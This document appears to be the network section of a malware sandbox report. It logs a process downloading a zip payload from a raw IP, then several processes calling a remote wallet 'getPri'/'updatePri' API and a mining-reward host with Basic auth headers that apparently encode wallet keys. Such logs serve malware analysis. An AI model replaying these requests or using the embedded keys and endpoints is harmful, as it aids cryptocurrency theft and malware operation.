Nov 25, 2024 11:10:23.549241066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.549285889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.550059080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.550164938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.550213099 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.550947905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.551078081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.551115990 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.551852942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.551980972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.552026033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.552711010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.552826881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.552870989 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.553582907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.553715944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.553750992 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.554502964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.554558039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.554601908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.555380106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.555490971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.555532932 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.556313992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.556411028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.556449890 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.557145119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.557254076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.557306051 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.558017015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.558171988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.558213949 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.558947086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.559055090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.559094906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.559802055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.559925079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.559984922 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.560704947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.560817003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.560858011 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.561600924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.561712980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.561758041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.562474966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.562625885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.562666893 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.563426018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.563525915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.563827038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.564249992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.564356089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.564400911 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.565114975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.565226078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.565264940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.566004992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.566111088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.566154003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.566895962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.567008972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.567058086 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.567790985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.567903996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.568027020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.568675995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.568772078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.568810940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.569546938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.569616079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.569664001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.570463896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.570594072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.570638895 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.571352005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.571453094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.571491957 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.572206020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.572324038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.572362900 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.573097944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.573231936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.573275089 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.574018002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.574121952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.574166059 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.574882984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.574980974 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.575016975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.575759888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.575855970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.575915098 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.576658964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.576812983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.576869965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.577651978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.620239019 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.681118965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.681276083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.681334972 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.681560993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.681621075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.681659937 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.682260990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.682280064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.682373047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.683012009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.683128119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.683180094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.683881044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.684006929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.684055090 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.684750080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.684859037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.684906960 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.685626984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.685719967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.685766935 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.714220047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.714298010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.714339018 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.714589119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.714699984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.714747906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.715481043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.715596914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.715642929 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.716386080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.716480970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.716525078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.717261076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.717323065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.717370033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.718144894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.718277931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.718322039 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.719031096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.719119072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.719165087 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.719903946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.720011950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.720062017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:23.720808983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.720928907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:23.720978975 CET	49705	8080	192.168.2.5	43.199.41.35

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 11:10:56.225224018 CET	192.168.2.5	1.1.1.1	0xe444	Standard query (0)	ec1ipse.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 11:10:56.647697926 CET	1.1.1.1	192.168.2.5	0xe444	No error (0)	ec1ipse.me		172.233.211.124	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	43.199.41.35	8080	2836	C:\Users\user\Desktop\lcc333.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 11:10:15.565526962 CET	160	OUT	GET /windows2.zip HTTP/1.1 Host: 43.199.41.35:8080 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive
Nov 25, 2024 11:10:17.086344957 CET	286	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 25 Nov 2024 10:10:16 GMT Content-Type: application/zip Content-Length: 22077297 Last-Modified: Sun, 17 Nov 2024 01:11:35 GMT Connection: keep-alive ETag: "673942c7-150df71" Content-Disposition: attachment Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49778	20.2.154.66	48080	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 11:10:54.643421888 CET	83	OUT	GET /admin-api/ore/wallet/getPri HTTP/1.1 accept: / host: 20.2.154.66:48080
Nov 25, 2024 11:10:56.217590094 CET	567	IN	HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers trace-id: X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/plain;charset=UTF-8 Content-Length: 192 Date: Mon, 25 Nov 2024 10:10:55 GMT Data Raw: 34 63 61 36 34 36 35 64 33 64 64 32 35 33 32 34 61 32 37 34 66 65 66 62 34 39 62 33 31 30 33 35 32 37 35 35 38 66 66 31 33 30 63 62 39 35 38 38 64 39 65 36 32 62 32 61 32 63 65 38 36 32 39 33 30 38 61 36 63 35 66 61 36 31 66 33 66 66 63 64 33 35 63 30 30 37 34 34 33 37 66 33 63 37 34 33 38 66 34 63 37 61 33 36 35 63 31 65 63 61 65 38 30 39 32 32 33 65 31 64 65 65 66 63 66 65 64 65 30 31 66 63 32 61 66 39 66 38 35 36 36 32 31 34 38 35 65 62 34 64 64 36 34 32 62 61 62 31 34 62 64 36 30 30 61 35 66 36 36 35 32 38 32 34 31 31 39 66 38 35 65 37 61 31 38 31 33 62 38 31 62 30 Data Ascii: 4ca6465d3dd25324a274fefb49b3103527558ff130cb9588d9e62b2a2ce8629308a6c5fa61f3ffcd35c0074437f3c7438f4c7a365c1ecae809223e1deefcfede01fc2af9f856621485eb4dd642bab14bd600a5f6652824119f85e7a1813b81b0
Nov 25, 2024 11:10:58.650669098 CET	164	OUT	GET /admin-api/ore/wallet/updatePri?pub=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro&bal=0.04497911667&first=true HTTP/1.1 accept: / host: 20.2.154.66:48080
Nov 25, 2024 11:10:59.185209990 CET	447	IN	HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers trace-id: X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: application/json;charset=UTF-8 Transfer-Encoding: chunked Date: Mon, 25 Nov 2024 10:10:58 GMT Data Raw: 33 30 0d 0a 7b 22 63 6f 64 65 22 3a 34 30 31 2c 22 64 61 74 61 22 3a 6e 75 6c 6c 2c 22 6d 73 67 22 3a 22 e8 b4 a6 e5 8f b7 e6 9c aa e7 99 bb e5 bd 95 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"code":401,"data":null,"msg":""}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49779	20.2.154.66	48080	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 11:10:54.972656965 CET	83	OUT	GET /admin-api/ore/wallet/getPri HTTP/1.1 accept: / host: 20.2.154.66:48080
Nov 25, 2024 11:10:56.634125948 CET	567	IN	HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers trace-id: X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/plain;charset=UTF-8 Content-Length: 192 Date: Mon, 25 Nov 2024 10:10:55 GMT Data Raw: 30 38 37 38 31 30 33 39 35 33 30 63 64 66 33 66 38 32 66 63 39 32 34 32 34 39 66 35 63 36 35 34 63 32 62 39 39 31 66 63 63 38 33 37 62 66 61 66 66 64 66 39 35 39 65 61 30 61 38 37 32 32 33 63 35 35 66 39 31 33 37 31 62 35 61 31 39 37 61 66 63 36 64 61 39 31 36 61 30 62 64 30 34 31 34 32 33 30 31 39 33 34 64 66 37 36 62 39 64 30 62 61 62 30 62 66 34 34 64 65 30 66 31 64 32 39 63 34 66 63 65 36 65 35 35 37 37 64 30 61 31 31 64 36 35 64 38 65 30 33 63 30 33 33 39 66 32 37 30 38 33 61 64 30 65 31 36 34 62 62 65 64 62 37 31 63 61 61 62 39 33 65 36 36 37 34 35 66 37 32 64 62 Data Ascii: 08781039530cdf3f82fc924249f5c654c2b991fcc837bfaffdf959ea0a87223c55f91371b5a197afc6da916a0bd04142301934df76b9d0bab0bf44de0f1d29c4fce6e5577d0a11d65d8e03c0339f27083ad0e164bbedb71caab93e66745f72db
Nov 25, 2024 11:10:58.636075974 CET	164	OUT	GET /admin-api/ore/wallet/updatePri?pub=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q&bal=0.04496249757&first=true HTTP/1.1 accept: / host: 20.2.154.66:48080
Nov 25, 2024 11:10:59.192789078 CET	447	IN	HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers trace-id: X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: application/json;charset=UTF-8 Transfer-Encoding: chunked Date: Mon, 25 Nov 2024 10:10:58 GMT Data Raw: 33 30 0d 0a 7b 22 63 6f 64 65 22 3a 34 30 31 2c 22 64 61 74 61 22 3a 6e 75 6c 6c 2c 22 6d 73 67 22 3a 22 e8 b4 a6 e5 8f b7 e6 9c aa e7 99 bb e5 bd 95 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"code":401,"data":null,"msg":""}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	50010	20.2.154.66	48080	5708	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 11:12:16.369576931 CET	83	OUT	GET /admin-api/ore/wallet/getPri HTTP/1.1 accept: / host: 20.2.154.66:48080
Nov 25, 2024 11:12:17.974014044 CET	567	IN	HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers trace-id: X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/plain;charset=UTF-8 Content-Length: 192 Date: Mon, 25 Nov 2024 10:12:17 GMT Data Raw: 38 39 37 35 65 64 32 32 61 30 32 65 34 37 35 66 64 63 33 35 30 37 39 63 39 31 38 39 34 38 34 31 35 32 35 33 38 65 36 37 62 35 34 66 64 30 39 39 37 63 61 38 65 36 32 38 64 30 62 66 64 62 31 37 66 62 31 64 30 62 30 65 61 37 33 31 36 37 64 33 64 64 37 30 34 34 64 34 62 39 61 37 36 33 64 39 66 37 31 64 30 37 62 64 34 64 31 31 66 66 35 34 61 33 34 37 66 31 32 32 64 37 61 34 38 38 64 35 33 33 30 30 61 39 65 63 32 39 37 63 32 34 35 38 35 64 33 33 63 63 61 31 65 62 37 33 38 34 36 31 38 62 34 35 37 35 35 62 65 66 34 32 66 61 32 31 65 32 66 63 36 31 36 38 33 61 33 62 64 33 66 32 Data Ascii: 8975ed22a02e475fdc35079c9189484152538e67b54fd0997ca8e628d0bfdb17fb1d0b0ea73167d3dd7044d4b9a763d9f71d07bd4d11ff54a347f122d7a488d53300a9ec297c24585d33cca1eb7384618b45755bef42fa21e2fc61683a3bd3f2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50011	20.2.154.66	48080	4068	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 11:12:16.708179951 CET	83	OUT	GET /admin-api/ore/wallet/getPri HTTP/1.1 accept: / host: 20.2.154.66:48080
Nov 25, 2024 11:12:18.405009985 CET	567	IN	HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers trace-id: X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/plain;charset=UTF-8 Content-Length: 192 Date: Mon, 25 Nov 2024 10:12:17 GMT Data Raw: 65 36 31 36 31 66 34 39 32 39 35 63 62 30 35 65 66 39 31 34 36 32 37 33 61 34 62 38 35 37 39 63 34 35 38 61 64 39 31 66 62 65 38 38 66 39 34 31 66 31 32 66 62 36 62 66 66 65 39 35 66 37 35 38 65 66 32 34 39 33 39 30 30 31 30 62 31 66 64 61 36 35 65 30 66 35 31 66 61 35 31 36 32 31 61 65 36 31 30 63 30 39 64 31 38 66 64 32 31 37 32 64 36 33 30 61 64 38 61 63 64 31 65 30 33 36 37 39 32 64 30 32 31 63 35 37 35 64 61 36 65 38 38 66 33 37 33 66 37 30 61 30 66 64 61 37 39 34 63 36 32 63 30 63 62 38 34 64 33 65 34 37 66 33 39 30 62 63 30 30 31 31 39 33 61 30 64 39 30 62 37 62 Data Ascii: e6161f49295cb05ef9146273a4b8579c458ad91fbe88f941f12fb6bffe95f758ef249390010b1fda65e0f51fa51621ae610c09d18fd2172d630ad8acd1e036792d021c575da6e88f373f70a0fda794c62c0cb84d3e47f390bc001193a0d90b7b

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49785	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:10:58 UTC	114	OUT	GET /miner/rewards?pubkey=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyKQ91Q HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:10:58 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:10:58 GMT Content-Length: 13 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:10:58 UTC	13	IN	Data Raw: 30 2e 30 34 34 39 36 32 34 39 37 35 37 Data Ascii: 0.04496249757

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49786	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:10:58 UTC	114	OUT	GET /miner/rewards?pubkey=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJEPro HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:10:58 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:10:58 GMT Content-Length: 13 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:10:58 UTC	13	IN	Data Raw: 30 2e 30 34 34 39 37 39 31 31 36 36 37 Data Ascii: 0.04497911667

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49793	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:00 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:00 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:00 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:00 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 36 30 Data Ascii: 1732529460

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49792	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:00 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:00 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:00 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:00 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 34 36 30 Data Ascii: 1732529460

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49798	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:02 UTC	378	OUT	GET /v2/ws?timestamp=1732529460 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: j+ijabsuJbfoanaXa6e/wg== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M0RVYkdDNGczaGMxYVZ5OEJ4ZXpHWWhEbzVwdDVkeDZRd0dERjZyZEN2eEptMUpkQWVWaUs4ZzlIQUJSRVZWdW1aeG5KVnlqbmJ2Ym1uWTlvcEhKRnJQaw==
2024-11-25 10:11:02 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:02 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49797	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:02 UTC	378	OUT	GET /v2/ws?timestamp=1732529460 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: Pa7nbnXbg02FFMyV6RJt6A== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6M2dKM1llU0szcnNQOUNoanltOW9xZXRhR2pZQzVQTEN3bzlnSEpDUEdIWlB1YkV0OHJ5dTZQMndjZE1CNUg1a054ZjRTSjV0aUpoQ25pNW1SNE5zVnB2Rw==
2024-11-25 10:11:02 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:02 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49809	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:07 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
